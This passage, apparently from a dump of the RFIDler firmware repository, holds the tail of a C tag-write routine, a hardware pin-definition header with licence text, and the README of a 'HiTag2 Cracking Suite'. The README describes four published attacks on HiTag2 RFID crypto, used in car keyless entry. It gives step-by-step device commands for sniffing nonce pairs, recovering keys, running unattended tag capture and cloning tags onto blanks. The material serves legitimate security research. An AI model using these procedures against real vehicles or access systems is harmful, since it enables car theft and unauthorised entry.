ret= FALSE, i;\n\n    for(i= 0 ; i < TAG_WRITE_RETRY ; ++i)\n    {\n        switch(RFIDlerConfig.TagType)\n        {\n            case TAG_TYPE_EM4X05:\n                ret= em4x05_write_word((BYTE) block, data, verify);\n                break;\n                \n            case TAG_TYPE_HITAG1:\n                ret= hitag1_write_page((BYTE) block, data);\n                break;\n\n            case TAG_TYPE_HITAG2:\n                ret= hitag2_write_page((BYTE) block, data);\n                break;\n\n            case TAG_TYPE_Q5:\n                ret= q5_write_block((BYTE) block, data, NO_LOCK, verify);\n                break;\n\n            case TAG_TYPE_T55X7:\n                ret= t55x7_write_block((BYTE) block, data, NO_LOCK, verify);\n                break;\n\n            default:\n                break;\n        }\n        if (ret)\n            return TRUE;\n    }\n\n    return FALSE;\n}\n\n"
  },
  {
    "path": "hitag2crack/README",
    "content": "HiTag2 Cracking Suite\n---------------------\n\nAuthor: Kevin Sheldrake <kev@headhacking.com>\n\nIntroduction\n------------\n\nThese tools are implementations of the four attacks detailed in the papers,\nGone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia\nand Josep Balasch, and Lock It And Still Lose It - on the (In)Security of\nAutomotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald,\nTimo Kasper and Pierre Pavlides.  The first three attacks come from the first\npaper and the fourth attack comes from the second paper.\n\nAttack 1\n--------\n\nAttack 1 is a nonce replay and length extension attack.  This is an attack on\na single HiTag2 RFID tag, given a single encrypted nonce and challenge\nresponse value pair (nR, aR) for the tag's UID.  The attack runs entirely on\nthe RFIDler with it acting like a RWD that replays the same encrypted nonce\nand challenge response pair for every interaction; this fixes the key stream\nthat the tag's PRNG outputs to the same stream for every interaction.\n\nBy brute forcing a subset of the encrypted command space, the RFIDler finds a\nsingle valid encrypted command - invalid commands return a known unencrypted\nerror response so finding a valid one is simply a case of trying different\nvalues until a response other than the error response is received.\n\nIt then bit flips the valid encrypted command to find the other 15 valid\nencrypted commands.  By knowing the contents of page 0 - it's the UID that\nis presented in clear at the start of each interaction - it tries each\nencrypyted response in turn, assuming each to be the encrypted version of\n'read page 0 non-inverted' and each response to be the encrypted version of\npage 0.\n\nFor each attempted command, it calculates the key stream that would have\ncorrectly generated the encrypted command and response:\ncommand ++ response XOR key stream = encrypted command ++ encrypted response\ntherefore:\nkey stream = command ++ response XOR encrypted command ++ encrypted response\n\nIt then tests the potentially recovered key stream by creating an encrypted\ncommand that consumes as much of it as possible, re-initialising with the same\nencrypyted nonce and challenge response pair (to set the key stream to the\nsame stream as that which produced the encrypted command response it is\ntesting), and then sending this extended encrypted command.  If the response\nis not the error response, then the key stream is valid and the response is\nthe encryption of the page 0 contents (the UID).\n\nWhen one of the valid encrypted commands satisfies this situation, the\nrecovered key stream must be the output of the PRNG for the given encrypted\nnonce and challenge response pair.\n\nThe RFIDler then uses this key stream to encrypt commands and decrypt the\nresponses, and therefore requests the contents of all 8 pages.  Pages 1 and 2\ncontain the encryption key.\n\nAttack 2\n--------\n\nAttack 2 is a time/space trade off to recover the key for situations where the\ntag has been configured to prevent reading of pages 1 and 2.  This attack uses\na pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on\nthe PRNG output.  The RFIDler is used to recover 2048 bits of key stream using\na modification of attack 1 and this is used to search the table for matching\nPRNG output.  When the output is found, it is tested for validity (by testing\nprevious or following PRNG output) and then the PRNG state is rolled back to\nthe initialisation state, from which the unecrypted nonce and key can be\nrecovered.\n\nAttack 3\n--------\n\nAttack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the\nPRNG output.  By capturing 136 encrypted nonce and challenge response pairs,\ncandidates for the first 34 bits of the key can be identified, and for each\nthe remaining 14 bits can be brute forced.\n\nAttack 4\n--------\n\nAttack 4 is a fast correlative attack on the key based on a number of captured\nencrypted nonce and challenge response pairs (up to 32, but 16 usually\nsufficient).  It starts by guessing the first 16 bits of the key and scores\nall these guesses against how likely they are to be the correct key, given the\nencrypted nonces and the keystream they should produce.  Each guess is then\nexpanded by 1 bit and the process iterates, with only the best guesses taken\nforward to the next iteration.\n\nUsage details\n-------------\n\nAttack 1 requires a valid tag and a valid encrypted nonce and challenge\nresponse pair.  The attacker needs to obtain a valid tag and then use this to\nobtain a valid encrypted nonce and challenge response pair.  This can be\nacheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared\nthe nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and\npresenting the valid tag.  The encrypted nonce and challenge response pairs\ncan then be read out with the 'SNIFF-PWM L' command.  These values can then\nbe used to attack the tag with 'HITAG2-CRACK <nR> <aR>'.\n\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM C\nRFIDler: SNIFF-PWM S\nCapture encrypted nonce and challenge response pair (nR, aR).\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM L\nRFIDler: HITAG2-CRACK <nR> <aR>\n\nAttack 2 requires the same resources as attack 1, plus a pre-computed table.\nThe table can be generated on a disk with >1.5TB of storage, although it takes\nsome time (allow a couple of days).\n./ht2crack2buildtable\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM C\nRFIDler: SNIFF-PWM S\nCapture encrypted nonce and challenge response pair (nR, aR).\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM L\nRFIDler: UID\nRFIDler: HITAG2-KEYSTREAM <nR> <aR>\nCopy/paste the key stream to a file.\n./ht2crack2search <key stream file> <tag UID> <nR>\n\nAttack 3 requires only interaction with the RWD and does not require a valid\ntag, although it does require a HiTag2 tag that the RWD will initially respond\nto; e.g. you could potentially use any HiTag2 tag as long as the RWD starts\nthe crypto handshake with it.  It requires >=136 encrypted nonce and challenge\nresponse pairs for the same tag UID.\n\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM C\nRFIDler: SNIFF-PWM S\nCapture >=136 encrypted nonce and challenge response pairs (nR, aR).\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM L\nRFIDler: UID\nCopy/paste the encrypted nonce and challenge response pairs into a file.\n./ht2crack3 <tag UID> <nR aR file>\n\nAttack 4 requires the same information as attack 3, but only 16-32 encrypted\nnonce and challenge response pairs are required.\n./ht2crack4 -u <tag UID> -n <nR aR file> [-N <number of nonces to use>]\n   [-t <table size>]\n\nStart with -N 16 and -t 500000.  If the attack fails to find the key, double\nthe table size and try again, repeating if it still fails.\n\nOnce the key has been recovered using one of these attacks, the RFIDler can\nbe configured to operate as a RWD and will capture tags using that key.\nRFIDler: SET TAG HITAG2\nRFIDler: HITAG2-READER <KEY>\n\nBoth the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands\nfor when the RFIDler is powered from a USB power supply without interaction.\n\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM C\nRFIDler: AUTORUN SNIFF-PWM S\nRFIDler: SAVE\nCapture encrypted nonce and challenge response pairs.\nRFIDler: SET TAG HITAG2\nRFIDler: SNIFF-PWM L\n\n\nRFIDler: SET TAG HITAG2\nRFIDler: HITAG2-CLEARSTOREDTAGS\nRFIDler: AUTORUN HITAG2-READER <KEY> S\nRFIDler: SAVE\nCapture tags.\nRFIDler: HITAG2-COUNTSTOREDTAGS\nRFIDler: HITAG2-LISTSTOREDTAGS [START] [END]\n\n\nTags can be copied with standard RFIDler commands.\n\nRFIDler: SET TAG HITAG2\nRFIDler: COPY\nRFIDler: VTAG\nReplace original tag with a blank tag.\nRFIDler: CLONE <blank tag password/key - defaults to 4d494b52>\n\nOR:\n\nRFIDler: SET TAG HITAG2\nRFIDler: SET VTAG HITAG2\nRFIDler: VWRITE 0 <page 0 contents>\nRFIDler: VWRITE 1 <page 1 contents>\n...\nRFIDler: VWRITE 7 <page 7 contents>\nRFIDler: VTAG\nPlace blank tag on coil.\nRFIDler: CLONE <blank tag password/key - defaults to 4d494b52>\n\nOR:\n\nRFIDler: SET TAG HITAG2\nRFIDler: SET VTAG HITAG2\nRFIDler: VWRITE 0 <all 8 page contents with no spaces>\nRFIDler: VTAG\nPlace blank tag on coil.\nRFIDler: CLONE <blank tag password/key - defaults to 4d494b52>\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/HardwareProfile.h",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n\r\n\r\n#ifndef HARDWARE_PROFILE_UBW32_H\r\n#define HARDWARE_PROFILE_UBW32_H\r\n\r\n//#include \"plib.h\"\r\ntypedef char BOOL;\r\ntypedef char BYTE;\r\ntypedef int rtccTime;\r\ntypedef int rtccDate;\r\n\r\n\r\n#ifndef __PIC32MX__\r\n    #define __PIC32MX__\r\n#endif\r\n  \r\n#define GetSystemClock()            (80000000ul)\r\n#define GetPeripheralClock()        (GetSystemClock()) \r\n#define GetInstructionClock()       (GetSystemClock())\r\n\r\n//#define USE_SELF_POWER_SENSE_IO\r\n#define tris_self_power     TRISAbits.TRISA2    // Input\r\n#define self_power          1\r\n\r\n//#define USE_USB_BUS_SENSE_IO\r\n#define tris_usb_bus_sense  TRISBbits.TRISB5    // Input\r\n#define USB_BUS_SENSE       1\r\n\r\n// LEDs\r\n#define mLED_1              LATEbits.LATE3\r\n\r\n#define mLED_2              LATEbits.LATE2\r\n#define mLED_Comms          mLED_2\r\n\r\n#define mLED_3              LATEbits.LATE1\r\n#define mLED_Clock          mLED_3\r\n\r\n#define mLED_4              LATEbits.LATE0\r\n#define mLED_Emulate        mLED_4\r\n\r\n#define mLED_5              LATGbits.LATG6\r\n#define mLED_Read           mLED_5\r\n\r\n#define mLED_6              LATAbits.LATA15\r\n#define mLED_User           mLED_6\r\n\r\n#define mLED_7              LATDbits.LATD11\r\n#define mLED_Error          mLED_7\r\n\r\n// active low\r\n#define mLED_ON             0\r\n#define mLED_OFF            1\r\n\r\n#define mGetLED_1()         mLED_1\r\n#define mGetLED_USB()       mLED_1\r\n#define mGetLED_2()         mLED_2\r\n#define mGetLED_Comms()     mLED_2\r\n#define mGetLED_3()         mLED_3\r\n#define mGetLED_Clock()     mLED_3\r\n#define mGetLED_4()         mLED_4\r\n#define mGetLED_Emulate()   mLED_4\r\n#define mGetLED_5()         mLED_5\r\n#define mGetLED_Read()      mLED_5\r\n#define mGetLED_6()         mLED_6\r\n#define mGetLED_User()      mLED_6\r\n#define mGetLED_7()         mLED_7\r\n#define mGetLED_Error()     mLED_7\r\n\r\n#define mLED_1_On()         mLED_1 = mLED_ON\r\n#define mLED_USB_On()       mLED_1_On()\r\n#define mLED_2_On()         mLED_2 = mLED_ON\r\n#define mLED_Comms_On()     mLED_2_On()\r\n#define mLED_3_On()         mLED_3 = mLED_ON\r\n#define mLED_Clock_On()     mLED_3_On()\r\n#define mLED_4_On()         mLED_4 = mLED_ON\r\n#define mLED_Emulate_On()   mLED_4_On()\r\n#define mLED_5_On()         mLED_5 = mLED_ON\r\n#define mLED_Read_On()      mLED_5_On()\r\n#define mLED_6_On()         mLED_6 = mLED_ON\r\n#define mLED_User_On()      mLED_6_On()\r\n#define mLED_7_On()         mLED_7 = mLED_ON\r\n#define mLED_Error_On()     mLED_7_On()\r\n\r\n#define mLED_1_Off()        mLED_1 = mLED_OFF\r\n#define mLED_USB_Off()      mLED_1_Off()\r\n#define mLED_2_Off()        mLED_2 = mLED_OFF\r\n#define mLED_Comms_Off()    mLED_2_Off()\r\n#define mLED_3_Off()        mLED_3 = mLED_OFF\r\n#define mLED_Clock_Off()    mLED_3_Off()\r\n#define mLED_4_Off()        mLED_4 = mLED_OFF\r\n#define mLED_Emulate_Off()  mLED_4_Off()\r\n#define mLED_5_Off()        mLED_5 = mLED_OFF\r\n#define mLED_Read_Off()     mLED_5_Off()\r\n#define mLED_6_Off()        mLED_6 = mLED_OFF\r\n#define mLED_User_Off()     mLED_6_Off()\r\n#define mLED_7_Off()        mLED_7 = mLED_OFF\r\n#define mLED_Error_Off()    mLED_7_Off()\r\n\r\n#define mLED_1_Toggle()        mLED_1 = !mLED_1\r\n#define mLED_USB_Toggle()      mLED_1_Toggle()\r\n#define mLED_2_Toggle()        mLED_2 = !mLED_2\r\n#define mLED_Comms_Toggle()    mLED_2_Toggle()\r\n#define mLED_3_Toggle()        mLED_3 = !mLED_3\r\n#define mLED_Clock_Toggle()    mLED_3_Toggle()\r\n#define mLED_4_Toggle()        mLED_4 = !mLED_4\r\n#define mLED_Emulate_Toggle()  mLED_4_Toggle()\r\n#define mLED_5_Toggle()        mLED_5 = !mLED_5\r\n#define mLED_Read_Toggle(   )  mLED_5_Toggle()\r\n#define mLED_6_Toggle()        mLED_6 = !mLED_6\r\n#define mLED_User_Toggle()     mLED_6_Toggle()\r\n#define mLED_7_Toggle()        mLED_7 = !mLED_7\r\n#define mLED_Error_Toggle()    mLED_7_Toggle()\r\n\r\n#define mLED_All_On()       { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On();  mLED_6_On(); mLED_7_On(); }\r\n#define mLED_All_Off()      { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }\r\n\r\n// usb status lights\r\n#define mLED_Both_Off()         {mLED_USB_Off();mLED_Comms_Off();}\r\n#define mLED_Both_On()          {mLED_USB_On();mLED_Comms_On();}\r\n#define mLED_Only_USB_On()      {mLED_USB_On();mLED_Comms_Off();}\r\n#define mLED_Only_Comms_On()    {mLED_USB_Off();mLED_Comms_On();}\r\n\r\n/** SWITCH *********************************************************/\r\n#define swBootloader        PORTEbits.RE7\r\n#define swUser              PORTEbits.RE6\r\n\r\n/** I/O pin definitions ********************************************/\r\n#define INPUT_PIN                   1\r\n#define OUTPUT_PIN                  0\r\n\r\n#define TRUE                        1\r\n#define FALSE                       0\r\n\r\n#define ENABLE                      1\r\n#define DISABE                      0\r\n\r\n#define EVEN                        0\r\n#define ODD                         1\r\n\r\n#define LOW                         FALSE\r\n#define HIGH                        TRUE\r\n\r\n#define CLOCK_ON                    LOW\r\n#define CLOCK_OFF                   HIGH\r\n\r\n// output coil control - select between reader/emulator circuits\r\n#define COIL_MODE                  LATBbits.LATB4\r\n#define COIL_MODE_READER()         COIL_MODE= LOW\r\n#define COIL_MODE_EMULATOR()       COIL_MODE= HIGH\r\n\r\n// coil for emulation\r\n#define COIL_OUT                   LATGbits.LATG9\r\n#define COIL_OUT_HIGH()            COIL_OUT=HIGH\r\n#define COIL_OUT_LOW()             COIL_OUT=LOW\r\n\r\n// door relay (active low)\r\n#define DOOR_RELAY                  LATAbits.LATA14\r\n#define DOOR_RELAY_OPEN()           DOOR_RELAY= HIGH\r\n#define DOOR_RELAY_CLOSE()          DOOR_RELAY= LOW\r\n\r\n// inductance/capacitance freq\r\n#define IC_FREQUENCY               PORTAbits.RA2\r\n\r\n#define SNIFFER_COIL               PORTDbits.RD12    // external reader clock detect\r\n#define READER_ANALOGUE            PORTBbits.RB11   // reader coil analogue\r\n#define DIV_LOW_ANALOGUE           PORTBbits.RB12   // voltage divider LOW analogue\r\n#define DIV_HIGH_ANALOGUE          PORTBbits.RB13   // voltage divider HIGH analogue\r\n\r\n// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)\r\n#define CLOCK_COIL                 PORTDbits.RD4\r\n#define CLOCK_COIL_MOVED           PORTDbits.RD0 // temporary for greenwire\r\n\r\n// digital output after analogue reader circuit\r\n#define READER_DATA                PORTDbits.RD8\r\n\r\n// trace / debug\r\n#define DEBUG_PIN_1                 LATCbits.LATC1\r\n#define DEBUG_PIN_1_TOGGLE()        DEBUG_PIN_1= !DEBUG_PIN_1\r\n#define DEBUG_PIN_2                 LATCbits.LATC2\r\n#define DEBUG_PIN_2_TOGGLE()        DEBUG_PIN_2= !DEBUG_PIN_2\r\n#define DEBUG_PIN_3                 LATCbits.LATC3\r\n#define DEBUG_PIN_3_TOGGLE()        DEBUG_PIN_3= !DEBUG_PIN_3\r\n#define DEBUG_PIN_4                 LATEbits.LATE5\r\n#define DEBUG_PIN_4_TOGGLE()        DEBUG_PIN_4= !DEBUG_PIN_4\r\n\r\n// spi (sdi1) for sd card (not directly referenced)\r\n//#define SD_CARD_RX                  LATCbits.LATC4\r\n//#define SD_CARD_TX                  LATDbits.LATD0\r\n//#define SD_CARD_CLK                 LATDbits.LATD10\r\n//#define SD_CARD_SS                  LATDbits.LATD9\r\n// spi for SD card\r\n#define SD_CARD_DET                 LATFbits.LATF0\r\n#define SD_CARD_WE                  LATFbits.LATF1      // write enable - unused for microsd but allocated anyway as library checks it\r\n                                                        // (held LOW by default - cut solder bridge to GND to free pin if required)\r\n#define SPI_SD                      SPI_CHANNEL1\r\n#define SPI_SD_BUFF                 SPI1BUF\r\n#define SPI_SD_STAT                 SPI1STATbits\r\n// see section below for more defines!\r\n\r\n// iso 7816 smartcard\r\n// microchip SC module defines pins so we don't need to, but\r\n// they are listed here to help avoid conflicts\r\n#define ISO_7816_RX                 LATBbits.LATF2 // RX\r\n#define ISO_7816_TX                 LATBbits.LATF8 // TX\r\n#define ISO_7816_VCC                LATBbits.LATB9 // Power\r\n#define ISO_7816_CLK                LATCbits.LATD1 // Clock\r\n#define ISO_7816_RST                LATEbits.LATE8 // Reset\r\n\r\n// user LED\r\n#define USER_LED                    LATDbits.LATD7\r\n#define USER_LED_ON()               LATDbits.LATD7=1\r\n#define USER_LED_OFF()              LATDbits.LATD7=0\r\n\r\n// LCR\r\n#define LCR_CALIBRATE               LATBbits.LATB5\r\n\r\n// wiegand / clock & data\r\n#define WIEGAND_IN_0                PORTDbits.RD5\r\n#define WIEGAND_IN_0_PULLUP         CNPUEbits.CNPUE14\r\n#define WIEGAND_IN_0_PULLDOWN       CNPDbits.CNPD14\r\n#define WIEGAND_IN_1                PORTDbits.RD6\r\n#define WIEGAND_IN_1_PULLUP         CNPUEbits.CNPUE15\r\n#define WIEGAND_IN_1_PULLDOWN       CNPDbits.CNPD15\r\n#define CAND_IN_DATA                WIEGAND_IN_0\r\n#define CAND_IN_CLOCK               WIEGAND_IN_1\r\n\r\n#define WIEGAND_OUT_0               LATDbits.LATD3\r\n#define WIEGAND_OUT_1               LATDbits.LATD2\r\n#define WIEGAND_OUT_0_TRIS          TRISDbits.TRISD3\r\n#define WIEGAND_OUT_1_TRIS          TRISDbits.TRISD2\r\n#define CAND_OUT_DATA               WIEGAND_OUT_0\r\n#define CAND_OUT_CLOCK              WIEGAND_OUT_1\r\n\r\n// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier\r\n#define READER_CLOCK_ENABLE         LATEbits.LATE9\r\n#define READER_CLOCK_ENABLE_ON()    READER_CLOCK_ENABLE=CLOCK_ON\r\n#define READER_CLOCK_ENABLE_OFF(x)  {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}\r\n\r\n// these input pins must NEVER bet set to output or they will cause short circuits!\r\n// they can be used to see data from reader before it goes into or gate\r\n#define OR_IN_A                     PORTAbits.RA4\r\n#define OR_IN_B                     PORTAbits.RA5\r\n\r\n\r\n// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on\r\n#define Init_GPIO() { \\\r\n     CNCONbits.ON= TRUE; \\\r\n     CNENbits.CNEN14= TRUE; \\\r\n     CNENbits.CNEN15= TRUE; \\\r\n     TRISAbits.TRISA2= INPUT_PIN; \\\r\n     TRISAbits.TRISA4= INPUT_PIN; \\\r\n     TRISAbits.TRISA5= INPUT_PIN; \\\r\n     TRISAbits.TRISA14= OUTPUT_PIN; \\\r\n     TRISAbits.TRISA15= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB4= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB5= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB9= OUTPUT_PIN; \\\r\n     TRISBbits.TRISB11= INPUT_PIN; \\\r\n     TRISBbits.TRISB12= INPUT_PIN; \\\r\n     TRISBbits.TRISB13= INPUT_PIN; \\\r\n     TRISCbits.TRISC1= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC2= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC3= OUTPUT_PIN; \\\r\n     TRISCbits.TRISC4= INPUT_PIN; \\\r\n     TRISDbits.TRISD0= INPUT_PIN; \\\r\n     TRISDbits.TRISD1= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD2= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD3= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD4= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD5= INPUT_PIN; \\\r\n     TRISDbits.TRISD6= INPUT_PIN; \\\r\n     TRISDbits.TRISD7= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD8= INPUT_PIN; \\\r\n     TRISDbits.TRISD11= OUTPUT_PIN; \\\r\n     TRISDbits.TRISD12= INPUT_PIN; \\\r\n     TRISEbits.TRISE0= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE1= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE2= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE3= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE5= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE6= INPUT_PIN; \\\r\n     TRISEbits.TRISE7= INPUT_PIN; \\\r\n     TRISEbits.TRISE8= OUTPUT_PIN; \\\r\n     TRISEbits.TRISE9= OUTPUT_PIN; \\\r\n     TRISFbits.TRISF0= INPUT_PIN; \\\r\n     TRISFbits.TRISF1= INPUT_PIN; \\\r\n     TRISFbits.TRISF2= INPUT_PIN; \\\r\n     TRISFbits.TRISF8= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG6= OUTPUT_PIN; \\\r\n     TRISGbits.TRISG12= INPUT_PIN; \\\r\n     TRISGbits.TRISG13= INPUT_PIN; \\\r\n     TRISGbits.TRISG9= OUTPUT_PIN; \\\r\n     LATBbits.LATB9= LOW; \\\r\n     LATCbits.LATC1= LOW; \\\r\n     LATCbits.LATC2= LOW; \\\r\n     LATCbits.LATC3= LOW; \\\r\n     LATDbits.LATD2= WIEGAND_IN_1; \\\r\n     LATDbits.LATD3= WIEGAND_IN_0; \\\r\n     LATEbits.LATE5= LOW; \\\r\n     LATEbits.LATE9= HIGH; \\\r\n     }\r\n\r\n// uart3 (CLI/API) speed\r\n#define BAUDRATE3       115200UL\r\n#define BRG_DIV3        4\r\n#define BRGH3           1\r\n\r\n// spi for potentiometer\r\n#define SPI_POT                     SPI_CHANNEL4\r\n#define SPI_POT_BUFF                SPI4BUF\r\n#define SPI_POT_STAT                SPI4STATbits\r\n\r\n// spi for sd card - defines required for Microchip SD-SPI libs\r\n// define interface type\r\n#define USE_SD_INTERFACE_WITH_SPI\r\n\r\n#define MDD_USE_SPI_1\r\n#define SPI_START_CFG_1     (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)\r\n#define SPI_START_CFG_2     (SPI_ENABLE)\r\n// Define the SPI frequency\r\n#define SPI_FREQUENCY\t\t\t(20000000)\r\n// Description: SD-SPI Card Detect Input bit\r\n#define SD_CD               PORTFbits.RF0\r\n// Description: SD-SPI Card Detect TRIS bit\r\n#define SD_CD_TRIS          TRISFbits.TRISF0\r\n// Description: SD-SPI Write Protect Check Input bit\r\n#define SD_WE               PORTFbits.RF1\r\n// Description: SD-SPI Write Protect Check TRIS bit\r\n#define SD_WE_TRIS          TRISFbits.TRISF1\r\n// Description: The main SPI control register\r\n#define SPICON1             SPI1CON\r\n// Description: The SPI status register\r\n#define SPISTAT             SPI1STAT\r\n// Description: The SPI Buffer\r\n#define SPIBUF              SPI1BUF\r\n// Description: The receive buffer full bit in the SPI status register\r\n#define SPISTAT_RBF         SPI1STATbits.SPIRBF\r\n// Description: The bitwise define for the SPI control register (i.e. _____bits)\r\n#define SPICON1bits         